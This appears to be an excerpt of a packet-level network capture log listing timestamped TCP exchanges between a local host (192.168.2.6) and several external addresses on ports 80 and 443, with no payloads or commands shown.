Nov 25, 2024 07:53:22.429318905 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.429599047 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.429646015 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.430121899 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.430212975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.430239916 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.430288076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.434392929 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.434411049 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.434465885 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.434473991 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.434473991 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.434487104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.434533119 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.434536934 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.434576035 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.435437918 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.435451984 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.435595036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.435595036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.437391996 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.437550068 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.437587976 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.437588930 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.439423084 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.439577103 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.439619064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.439619064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.441759109 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.441771984 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.441850901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.441850901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.443650007 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.443664074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.443717003 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.443737030 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.445822001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.445835114 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.445861101 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.445867062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.445883989 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.445920944 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.445921898 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.445934057 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.445986032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.445986032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.446021080 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.446042061 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.446074963 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.446084976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.446105003 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.446129084 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447093964 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447125912 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447184086 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447191000 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447320938 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447320938 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447495937 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447520971 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447674036 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447674036 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447684050 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.447768927 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.447871923 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.447885036 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.447957039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.449973106 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.449985027 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.450064898 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.451996088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.452080011 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.452161074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.452389002 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.454227924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.454341888 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.454381943 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.454518080 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.456136942 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.456290960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.456307888 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.456469059 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.458142996 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.458225965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.458307028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.458502054 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.458853960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.458906889 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.460624933 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.460644960 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.460745096 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.460755110 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.460771084 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.460803032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.464505911 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.464530945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.464592934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.464601994 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.464631081 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.464663982 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.481225967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.481249094 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.481288910 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.481308937 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.481417894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.481417894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.489466906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.489516973 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.489552975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.489622116 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.489681005 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.490084887 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.490210056 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.490251064 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.490323067 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.490369081 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.490387917 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.490906954 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.490911961 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.491374016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.491503000 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.491843939 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.491957903 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.492008924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.492168903 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.493046045 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.493058920 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.493108988 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.494291067 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.494303942 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.494406939 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.495513916 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.495657921 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.495661974 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.496015072 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.496501923 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.496603966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.496812105 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.496885061 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.497859001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.497870922 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.497901917 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.497956038 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.498096943 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.498114109 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.498168945 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.498186111 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.498261929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.499095917 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.499188900 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.499248981 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.499310017 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.500292063 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.500305891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.500372887 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.500422001 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.501384020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.501395941 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.501513004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.501513004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.502499104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.502510071 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.502610922 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.502610922 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.503727913 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.503881931 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.503926039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.503926039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.504749060 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.504868984 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.504890919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.505206108 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.506050110 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.506062984 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.506155014 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.506155014 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.507105112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.507250071 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.507251024 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.507333040 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.508335114 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.508507013 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.508533001 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.508558989 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.510837078 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.511023998 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.511054993 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.511101007 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.511693001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.511706114 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.511754036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.512767076 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.512837887 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.512950897 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.513093948 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.514024019 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.514038086 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.514183998 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.514262915 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.514276028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.514301062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.514317989 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.516649961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.516792059 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.516798019 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.516913891 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.517039061 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.517066956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.517098904 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.517108917 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.517148972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.517148972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.517944098 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.517992973 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.518109083 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.518250942 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.518610001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.518624067 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.518732071 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.519793034 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.519809961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.519826889 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.519854069 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.520865917 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.520879030 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.520941019 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.522002935 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.522017002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.522130966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.522130966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.523057938 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.523097038 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.523192883 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.523237944 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.524274111 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.524368048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.524457932 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.524544954 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.525542974 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.525563955 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.525589943 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.525681973 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.526648998 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.526662111 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.526690960 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.526746035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.527707100 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.527760983 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.527859926 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.527945042 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.528956890 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.529109955 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.529135942 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.529205084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.530015945 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.530185938 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.530267000 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.530267000 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.531233072 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.531399012 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.531418085 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.531496048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.531882048 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.531913042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.531945944 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.531969070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.531981945 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.532004118 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.532377005 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.532392979 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.533132076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.547421932 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.547486067 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.547496080 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.547554016 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.555728912 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.555780888 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.555824995 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.556361914 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.556392908 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.556435108 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.557501078 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.557539940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.557574034 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.557702065 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.558744907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.558854103 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.562269926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.562297106 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.562340021 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.562347889 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.562369108 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.562388897 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.563854933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.563889980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.563919067 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.563924074 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.563946009 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.563962936 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.564384937 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.564409971 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.564486027 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.564486027 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.564495087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.564587116 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.566740990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.566759109 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.566808939 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.566822052 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.566847086 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.566857100 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.574959040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.574980021 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.575018883 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.575026989 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.575046062 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.575062990 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.577637911 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.577653885 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.577692032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.577709913 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.577747107 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.577747107 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.578887939 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.578898907 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.578907013 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.578923941 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.579000950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.579006910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.579035044 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.579042912 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.579042912 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.579051018 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.579123020 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.579209089 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.585375071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.585393906 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.585429907 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.585438967 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.585468054 CET	49729	443	192.168.2.6	150.171.27.10
